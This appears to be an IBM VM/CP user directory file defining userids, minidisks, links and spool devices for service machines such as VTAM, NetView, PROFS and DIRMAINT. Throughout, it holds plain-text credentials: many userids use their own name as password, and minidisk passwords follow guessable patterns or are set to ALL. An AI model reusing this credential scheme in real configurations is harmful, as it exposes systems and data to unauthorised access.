 IUCV ANY P M 0
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
*
 MDISK 123 3380 000 885 VMSRES MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 124 3380 000 885 VMPK01 MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 126 3380 000 885 VMSTGE MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 127 3380 000 885 VMGCS1 MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 129 3380 000 885 PROFPK MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 130 3380 000 885 SQLPK  MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 131 3380 000 885 VMPK02 MW RSYSRES  WSYSRES  MSYSRES            03131808
*
* 19D - Help files
* 39D - Help files for NLS
* 19E - CMS extension disk. Most program products go here
* 190 - CMS nucleus and commands
* 191 - MAINT work disk and system dependent files
* 193 - CMS text / IPCS text / GCS interface texts
* 194 - CP text files and Maclibs
* 196 - HPO text files and Maclibs
* 201 - EREP files
* 293 - Aux and update files for CMS service
* 294 - Aux and update files for CP service
* 295 - CP/CMS EXPRESS/local service
* 296 - HPO aux and update files for service
* 3A0 - IPF online documentation
* 300 - VM/IPF system support, administration and operation dialogs
* 301 - IPF VM/VSE feature files
* 31A - Customer procedures and products not from VM/EXPRESS
* 310 - Maclibs for VM/IPF
* 319 - Some optional Program Products
* 393 - CMS source
* 394 - CP SOURCE
* 396 - HPO source
* 492 - TSAF
* 494 - TSAF
* 496 - IPCS service files
* 497 - IPCS source files
* 59E - GCS System disk extension
* 595 - GCS object code
* 596 - GCS service files
*
 MDISK 19D 3380 308 025 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 39D 3380 333 025 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 19E 3380 245 147 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 190 3380 494 037 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 191 3380 088 010 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 193 3380 061 027 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 194 3380 022 027 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 196 3380 684 016 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
```

```
 MDISK 201 3380 567 023 VMSRES MW RMAINT   WMAINT   MMAINT            03131808
 MDISK 293 3380 590 027 VMSRES MW RCMSAUX  WCMSAUX  MCMSAUX           03131808
 MDISK 294 3380 663 021 VMSRES MW RCPAUX   WCPAUX   MCPAUX            03131808
 MDISK 295 3380 531 014 VMSRES MW RUSRMOD  WUSRMOD  MUSRMOD           03131808
 MDISK 296 3380 072 019 VMPK01 MW RCPAUX   WCPAUX   MCPAUX            03131808
 MDISK 3A0 3380 128 001 VMPK01 MR ALL      WMAINT   MMAINT            03131808
 MDISK 300 3380 097 015 VMPK01 MR ALL      WMAINT   MMAINT            03131808
*MDISK 301 3380 001 049 EDMD01 MW ALL      WMAINT   MMAINT            03131808
 MDISK 31A 3380 870 003 VMSRES MW ALL      WMAINT   MMAINT            03131808
 MDISK 310 3380 112 016 VMPK01 MR ALL      WMAINT   MMAINT            03131808
 MDISK 319 3380 617 015 VMSRES MW ALL      WMAINT   MMAINT            03131808
 MDISK 393 3380 001 063 VMSTGE WR RMAINT   WMAINT                     03131808
 MDISK 394 3380 064 076 VMSTGE WR RMAINT   WMAINT                     03131808
 MDISK 396 3380 147 034 VMSTGE WR RMAINT   WMAINT                     03131808
 MDISK 492 3380 195 011 VMPK01 MW RTSFOBJ  WTSFOBJ  MTSFOBJ           03131808
 MDISK 494 3380 721 011 VMSRES MW RTSFAUX  WTSFAUX  MTSFAUX           03131808
 MDISK 496 3380 782 001 VMPK01 MW RIPCX    WIPCSX   MIPSX            03131808
 MDISK 497 3380 140 007 VMSTGE MW RMAINT   WMAINT                     03131808
 MDISK 59E 3380 181 010 VMPK01 MW ALL      WMAINT   MMAINT            03131808
 MDISK 595 3380 214 031 VMPK01 MW RMAINT   WMAINT   MMAINT            03131808
 MDISK 596 3380 700 021 VMSRES MW RGCSAUX  WGCSAUX  MGCSAUX           03131808
*
* 29E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Update files
* 36E - 5748-RC1 PVM 191 disk
* 39E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Source files
* 49E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Text files
*
 MDISK 29E 3380 785 007 VMPK01 MR RMAINT   WMAINT   MMAINT            03131808
 MDISK 36E 3380 563 004 VMSRES RR RMAINT   WMAINT   MMAINT            03131808
 MDISK 39E 3380 181 045 VMSTGE WR RMAINT   WMAINT                     03131808
 MDISK 49E 3380 792 007 VMPK01 MR RMAINT   WMAINT   MMAINT            03131808
*
* 348 - EP - ACF/NCP - NETVIEW - ACF/VTAM - ACF/SSP (VMFPARM DISK)
*
 MDISK 348 3380 001 002 VMGCS1 MR RMAINT   WMAINT   MMAINT            03131808
*
* 298 - 5664-280 VTAM 191
* 299 - 5664-280 VTAM Base disk
* 29A - 5664-280 VTAM Run disk
* 29B - 5664-280 VTAM Merge disk
* 29C - 5664-280 VTAM Zap disk
* 29D - 5664-280 VTAM Delta disk
*
 MDISK 298 3380 005 009 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 299 3380 200 024 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 29A 3380 156 010 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 29B 3380 224 020 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 29C 3380 244 005 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 29D 3380 860 020 VMGCS1 MR RMAINT   WMAINT   MMAINT            03131808
*
* 33F - 5664-289 ACF/SSP Base disk
* 340 - 5664-289 ACF/SSP Delta disk
* 341 - 5664-289 ACF/SSP Merge disk
* 342 - 5664-289 ACF/SSP Zap disk
* 343 - 5664-289 ACF/SSP Run disk
*
 MDISK 33F 3380 687 048 VMGCS1 MR RMAINT   WMAINT   MMAINT            03131808
 MDISK 340 3380 830 010 VMGCS1 MR RMAINT   WMAINT   MMAINT            03131808
 MDISK 341 3380 840 020 VMGCS1 MR RMAINT   WMAINT   MMAINT            03131808
 MDISK 342 3380 249 010 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 343 3380 110 046 VMGCS1 MR RMAINT   WMAINT   MMAINT            03131808
*
* 352 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Base disk
* 353 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Delta disk
* 354 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Merge disk
* 355 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Run disk
* 356 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Zap disk
*
 MDISK 352 3380 259 066 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 353 3380 325 010 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
 MDISK 354 3380 335 020 VMGCS1 WR RMAINT   WMAINT   MMAINT            03131808
```

```
 MDISK 355 3380 355 088 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 356 3380 443 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
*
* 349 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) VMFPARM DISK
* 357 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Base disk
* 358 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Delta disk
* 359 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Merge disk
* 35A - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Zap disk
* 35B - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Run disk
*
 MDISK 349 3380 003 002 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 357 3380 453 066 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 358 3380 519 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 359 3380 529 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 35A 3380 637 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 35B 3380 549 088 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
*
* 330 - 5664-204 NETVIEW Base disk
* 331 - 5664-204 NETVIEW Delta disk
* 332 - 5664-204 NETVIEW Merge disk
* 333 - 5664-204 NETVIEW Zap disk
* 334 - 5664-204 NETVIEW Run disk
*
 MDISK 330 3380 735 095 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 331 3380 647 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 332 3380 657 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 333 3380 677 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 334 3380 014 096 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
*
* 29F - 5664-188 RSCSV2 Update files
* 39F - 5664-188 RSCSV2 User exits disk
* 49F - 5664-188 RSCSV2 Text disk
* 59F - 5664-188 RSCSV2 191 disk
*
 MDISK 29F 3380 129 004 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 39F 3380 799 004 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 49F 3380 803 010 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 59F 3380 208 006 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
*
* 322 - 5664-283 VM/IS
* 326 - 5664-283 VM/IS
* 34A - 5668-905 Graphical Display and Query Facility (GDQF)
* 346 - 5668-AAA Query Management Facility (QMF)
* 347 - 5668-AAA Query Management Facility (QMF)
* 360 - 5664-329 Contextual File Search (CFSearch/370)
* 361 - 5664-370 Display Write/370
* 363 - 5668-890 Font Library Service Facility (FLSF)
*
 MDISK 322 3380 734 007 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 326 3380 166 010 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 34A 3380 164 052 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 346 3380 207 013 SQLPK  MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 347 3380 220 023 SQLPK  MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 360 3380 216 040 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 361 3380 768 027 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 363 3380 795 009 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
*
USER OPERATNS OPERATNS 1M  2M BCEG
INCLUDE EXPPROF
 ACCOUNT 13 SYSPROG
 LINK MAINT 300 300 RR
 LINK MAINT 193 192 RR
 MDISK 191 3380 547 001 VMSRES MR RIPCS    WIPCS    MIPCS             03131808
 MDISK 193 3380 256 008 VMSRES MR RIPCS    WIPCS    MIPCS             03131808
*
USER OPERATOR OPERATOR  3M 16M ABCDEFG
 ACCOUNT 2 OPERATOR
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
```

```
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 300 300 RR
 MDISK 191 3380 545 002 VMSRES MR ROPER    WOPER    MOPER              03131808
*
USER SYSDUMP1 SYSDUMP1 1M 1M BG
INCLUDE EXPPROF
 ACCOUNT 16 SYSTEM
 LINK MAINT 300 300 RR
 MDISK 123 3380 000 885 VMSRES RR                                     03131808
 MDISK 124 3380 000 885 VMPK01 RR                                     03131808
 MDISK 126 3380 000 885 VMSTGE RR                                     03131808
 MDISK 127 3380 000 885 VMGCS1 RR                                     03131808
 MDISK 129 3380 000 885 PROFPK RR                                     03131808
 MDISK 130 3380 000 885 SQLPK  RR                                     03131808
 MDISK 131 3380 000 885 VMPK02 RR                                     03131808
 MDISK 191 3380 133 001 VMPK01 MR RSYSDUMP WSYSDUMP MSYSDUMP          03131808
*
USER TSAFVM TSAFVM 4M 8M G
 ACCOUNT 1 XXXXXX
 OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
 IUCV ALLOW
 IUCV *CRM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 A OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 492 192 RR
 LINK MAINT 494 494 RR
*DEDICATE 300 4A0
 MDISK 191 3380 206 002 VMPK01 MR                                     03131808
*
USER VSEMAINT VSEMAINT 1M 4M BG
INCLUDE EXPPROF
 ACCOUNT 211 DOSSYS
 LINK MAINT 300 300 RR
*LINK MAINT 301 301 RR
 MDISK 191 3380 632 004 VMSRES MR RVSEMAIN WVSEMAIN MVSEMAIN          03131808
*
USER VSEIPO VSEIPO  16M 16M G
*
* SAMPLE USERID TO RUN VSE/EXPRESS/IPO
*
 ACCOUNT 203 VSEIPO
 IPL 224
*OPTION ECMODE BMX REALTIMER VIRT=REAL MAXCONN 050 STF  370E
 OPTION ECMODE BMX REALTIMER  MAXCONN 050
 IUCV *CCS PRIORITY MSGLIMIT 050
 CONSOLE 01F 3270
 SPECIAL 401 3270
 SPECIAL 402 3270
 SPECIAL 403 3270
 SPECIAL 404 3270
 SPECIAL 405 3270
 SPECIAL 406 3270
 SPECIAL 407 3270
 SPECIAL 408 3270
 SPECIAL 409 3270
 SPECIAL 40A 3270
 SPECIAL 40B 3270
 SPECIAL 40C 3270
 SPECIAL 40D 3270
 SPECIAL 40E 3270
 SPECIAL 40F 3270
 SPECIAL 410 3270
```

```
 SPECIAL 411 3270
 SPECIAL 412 3270
 SPECIAL 413 3270
 SPECIAL 414 3270
 SPECIAL 415 3270
 SPECIAL 416 3270
 SPECIAL 417 3270
 SPECIAL 418 3270
 SPECIAL 419 3270
 SPECIAL 41A 3270
 SPECIAL 41B 3270
 SPECIAL 41C 3270
 SPECIAL 41D 3270
 SPECIAL 41E 3270
 SPECIAL 41F 3270
 SPOOL 00C 3505 A
 SPOOL 00D 3525 A
 SPOOL 00E 3203 A
 SPOOL 05D 3525 A
 SPOOL 05E 1403 A
 DEDICATE  300  400
 DEDICATE  080  080
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK VSEMAINT 191 191 RR
* 3380 SYSTEM
*MDISK 150 3380 000 885 DOSRES MR VSEIPO  VSEIPO
*MDISK 151 3380 000 885 SYSWK1 MR VSEIPO  VSEIPO
*MDISK 152 3380 000 885 SYSWK2 MR VSEIPO  VSEIPO
* 3375 SYSTEM
*MDISK 140 3375 000 959 DOSRES MR VSEIPO  VSEIPO
*MDISK 141 3375 000 959 SYSWK1 MR VSEIPO  VSEIPO
*MDISK 142 3375 000 959 SYSWK2 MR VSEIPO  VSEIPO
* FB-512 SYSTEM
*MDISK 240 FB-512 00000 558000 DOSRES MR VSEIPO VSEIPO
*MDISK 241 FB-512 00000 558000 SYSWK1 MR VSEIPO VSEIPO
*MDISK 242 FB-512 00000 558000 SYSWK2 MR VSEIPO VSEIPO
* 3350 SYSTEM
 MDISK 220 3350 000 555 SYSWKB MR VSE220  VSE0WO
 MDISK 222 3350 000 555 SYSWK2 MR VSE222  VSE2WO
 MDISK 223 3350 000 555 SYSWK4 MR VSE223  VSE3WO
 MDISK 224 3350 000 555 DOSRES MR VSE224  VSE4WO
 MDISK 225 3350 000 555 SYSWK1 MR VSE225  VSE5WO
* 3380 SYSTEM
 MDISK 200 3380 000 885 SYSWKA MR VSE219  VSEAWO
*
USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 46 ROUTER
 MDISK 191 3380 636 003 VMSRES MR RROUTER  WROUTER  MROUTER            03131808
*
USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON
*
* 5668899 APL2 SERVICE MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 9999 APL2-SVP
 MDISK 191 3380 731 003 VMPK01 MR RAP2SVP  WAP2SVP  MAP2SVP            03131808
*
USER APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON
*
* 5668899 APL2
*
INCLUDE EXPPROF
 ACCOUNT 9999 I5668899
 MDISK 191 3380 264 044 VMSRES MR ALL      WAPL2PP                    03131808
*
USER VMASSYS VMASSYS 16M 16M EG 64 ON ON ON ON
*
* 5767032 AS
*
```

```
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 LINK ISPVM 192 192 RR
 LINK SQLDBA 195 195 RR
 MDISK 191 3380 569 018 VMPK01 MR RVMASSYS WVMASSYS INSTALL           03131808
 MDISK 391 3380 587 095 VMPK01 MR RVMASSYS WVMASSYS SYSTEM            03131808
 MDISK 392 3380 682 005 VMPK01 MR RVMASSYS WVMASSYS TEST              03131808
 MDISK 393 3380 687 026 VMPK01 MR RVMASSYS WVMASSYS IPCS              03131808
*
USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 OPTION MAXCONN 20
 IUCV ALLOW
 LINK VMASSYS 191 390 RR
 LINK VMASSYS 391 391 RR
 MDISK 191 3380 567 002 VMPK01 MR RVMASMON WVMASMON MVMASMON          03131808
*
USER VMASTEST VMASTEST 2M 2M G 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 LINK VMASSYS 391 391 RR
 LINK VMASSYS 392 392 RR
 MDISK 191 3380 713 018 VMPK01 MR RVMASTES WVMASTES MVMASTES          03131808
*
USER BATCH BATCH 2M 2M ABEG 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY
*
INCLUDE EXPPROF
 ACCOUNT 999
 IUCV ALLOW
 OPTION BMX MAXCONN 256
 MDISK 191 3380 741 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH          03131808
 MDISK 193 3380 744 020 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH          03131808
 MDISK 194 3380 764 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH          03131808
 MDISK 199 3380 767 002 VMPK01 RR RVMBATCH WVMBATCH MVMBATCH          03131808
 MDISK 195 3380 769 002 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH          03131808
*
USER BATCH1 BATCH1 2M 4M G 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY TEST USERID
*
INCLUDE EXPPROF
 ACCOUNT 999
 MDISK 191 3380 771 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH          03131808
*
USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY TEST USERID
*
INCLUDE EXPPROF
 ACCOUNT 999
 MDISK 191 3380 776 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH          03131808
*
* USER CSPUSER CSPUSER 2M 4M G 64 ON ON ON ON
*
* 5668814 CSP
*
* INCLUDE EXPPROF
* ACCOUNT 101
* MDISK 191 3380 134 032 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
* MDISK 193 3380 519 008 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
* MDISK 502 3380 527 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
* MDISK 503 3380 547 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
```

```
*
USER CVIEW CVIEW 2M 2M G 64 ON ON ON ON
*
* 5664296 CVIEW
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 OPTION BMX
 LINK MAINT 193 193 RR
 MDISK 191 3380 732 004 VMSRES MR RCVIEW   WCVIEW                       03131808
*
USER DIRMAINT DIRMAINT 1M 2M BG 64 ON ON ON ON
*
* 5748XE4 DIRMAINT
*
INCLUDE EXPPROF
 ACCOUNT 7 SYSADMIN
 OPTION REALTIME ECMODE
 MDISK 191 3380 191 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 193 3380 001 009 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 294 3380 844 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 123 3380 000 885 VMSRES MW                                      03131808
*
USER DATAMOVE DATAMOVE 1M 1M G 64 ON ON ON ON
*
* 5748XE4 DATAMOVE MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 5 SYSADMIN
 OPTION ACCT ECMODE
 LINK DIRMAINT 191 193 RR
 LINK MAINT    193 192 RR
 MDISK 191 3380 178 003 VMPK01 MR RDATAMOV WDATAMOV MDATAMOV           03131808
*
USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON
*
* 5798DMY FILE STORAGE CONTROL MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION ECMODE BMX MAXCONN 256
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFADMIN 192 198 RR
 MDISK 191 3380 143 007 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 192 3380 141 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 193 3380 150 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 194 3380 152 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 195 3380 153 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 197 3380 154 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 200 3380 155 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 201 3380 160 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 400 3380 165 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 401 3380 170 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
*
USER FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE TASK MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFCNTRL 191 191 RR
*
USER FSFTASK2 FSFTASK2 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE TASK MACHINE
*
INCLUDE EXPPROF
```

```
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFCNTRL 191 191 RR
*
USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE ADMINISTRATOR
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK MAINT 319 319 RR
 MDISK 192 3380 175 003 VMPK02 MR RFSFADMI WFSFADMI MFSFADMI           03131808
*
USER IIPS IIPS 2M 4M G 64 ON ON ON ON
*
* 5668012 IIPS
*
INCLUDE EXPPROF
 ACCOUNT 8 INSTR
 MDISK 191 3380 736 013 VMSRES MR RIIPS    WIIPS    MIIPS              03131808
 MDISK 193 3380 749 019 VMSRES MR RIIPS    WIIPS    MIIPS              03131808
*
USER ADMIN ADMIN 1664K 16M ABCDEFG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 LINK MAINT 300 300 RR
 MDISK 191 3380 781 001 VMPK01 MR RADMIN   WADMIN   MADMIN             03131808
*
USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 OPTION ECMODE
 LINK MAINT 300 300 RR
 MDISK 191 3380 010 002 VMPK01 MR RDISKACN WDISKACN MDISKACN           03131808
*
USER CPRM CPRM 512K 1M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 LINK OPERATNS 193 193 RR
 MDISK 191 3380 783 001 VMPK01 MR RCPRM    WCPRM    MCPRM              03131808
 MDISK 192 3380 098 007 VMSRES MR ALL      WCPRM    MCPRM              03131808
 MDISK 291 3380 784 001 VMPK01 MR RCPRM    WCPRM    MCPRM              03131808
*
USER OP1 OP1 1M 13M ABCDEFG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 LINK MAINT 300 300 RR
 MDISK 191 3380 058 001 VMSRES MR ROP1     WOP1     MOP1               03131808
*
USER VMUTIL VMUTIL 512K 2M ABDEG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 IPL CMS
 OPTION ECMODE
 LINK MAINT 300 300 RR
 MDISK 191 3380 059 001 VMSRES MR RVMUTIL  WVMUTIL  MVMUTIL           03131808
*
USER IPFSERV IPFSERV 2M 16M G 64 ON ON ON ON
```

```
*
* 5664318 VM/IPF
*
 IPL CMS
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 123 123 MW
 LINK MAINT 190 190 RR
 LINK MAINT 191 192 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 294 294 RR
 LINK MAINT 295 295 RR
 LINK MAINT 300 300 RR
 MDISK 191 3380 060 001 VMSRES MR RIPFSERV WIPFSERV MIPFSERV           03131808
*
USER ISPVM ISPVM 1M 10M EG 64 ON ON ON ON
*
* 5664282 ISPF
*
INCLUDE EXPPROF
 ACCOUNT 104 USER04
 MDISK 191 3380 548 005 VMSRES MR RISPVM   WISPVM   MISPVM             03131808
 MDISK 192 3380 110 054 VMSRES MR RISPVM   WISPVM   MISPVM             03131808
*
USER NETVIEW NETVIEW 5M 16M G 64 ON ON ON ON
*
* 5664175 NETVIEW
*
 ACCOUNT NETVIEW GCS
 OPTION ECMODE
 IUCV ANY P M 0
 IUCV *LOGREC
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 334 191 RR
 LINK VTAM  191 291 RR
 LINK VTAM  29A 29A RR
 LINK MAINT 595 595 RR
 MDISK 198 3380 166 034 VMGCS1 WR RNETVIEW WNETVIEW MNETVIEW           03131808
*
USER PRODBM PRODBM 1M 4M G 64 ON ON ON ON
*
* 5664309 PROFS DATABASE MANAGER
*
INCLUDE EXPPROF
 ACCOUNT 250 PRODBM
 OPTION MAXCONN 2000
 IUCV ALLOW
 LINK SYSADMIN 399 399 RR
 MDISK 161 3380 169 011 PROFPK MR RDBM     WDBM     MDBM              03131808
 MDISK 191 3380 165 004 PROFPK MR RDBM     WDBM     MDBM              03131808
 MDISK 5FD 3380 206 013 PROFPK MR RDBM     WDBM     MDBM              03131808
 MDISK 5FE 3380 193 013 PROFPK MR RDBM     WDBM     MDBM              03131808
 MDISK 5FF 3380 180 013 PROFPK MR RDBM     WDBM     MDBM              03131808
*
USER PROMAIL PROMAIL 1M 2M G 64 ON ON ON ON
*
* 5664309 PROFS DISTRIBUTION MANAGER
*
INCLUDE EXPPROF
 ACCOUNT 250 PROMAIL
 LINK PRODBM   191 395 RR
```

```
 LINK SYSADMIN 399 399 RR
 MDISK 151 3380 092 004 PROFPK MR RMAIL    WMAIL    MMAIL              03131808
 MDISK 191 3380 084 008 PROFPK MR RMAIL    WMAIL    MMAIL              03131808
*
USER PROCAL PROCAL 1M 4M G 64 ON ON ON ON
*
* 5664309 PROFS CALENDAR MANAGER
*
INCLUDE EXPPROF
 ACCOUNT 250 PROCAL
 LINK PRODBM   191 395 RR
 LINK SYSADMIN 398 398 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 096 004 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FB 3380 100 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FC 3380 113 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FD 3380 126 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FE 3380 139 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FF 3380 152 013 PROFPK MR RCAL     WCAL     MCAL               03131808
*
USER SYSADMIN NOLOG 1M 16M EG 64 ON ON ON ON
*
* 5664309 PROFS ADMINISTRATOR
*
INCLUDE EXPPROF
 ACCOUNT 250 SYSADMIN
 LINK PRODBM   161 161 RR
 LINK PRODBM   191 4FA RR
 LINK PRODBM   5FD 5FD RR
 LINK PRODBM   5FE 5FE RR
 LINK PRODBM   5FF 5FF RR
 MDISK 191 3380 001 011 PROFPK MR RADMIN   WADMIN   MADMIN            03131808
 MDISK 298 3380 012 029 PROFPK MR RADMIN   WADMIN   MADMIN            03131808
 MDISK 398 3380 041 019 PROFPK MR RADMIN   WADMIN   MADMIN            03131808
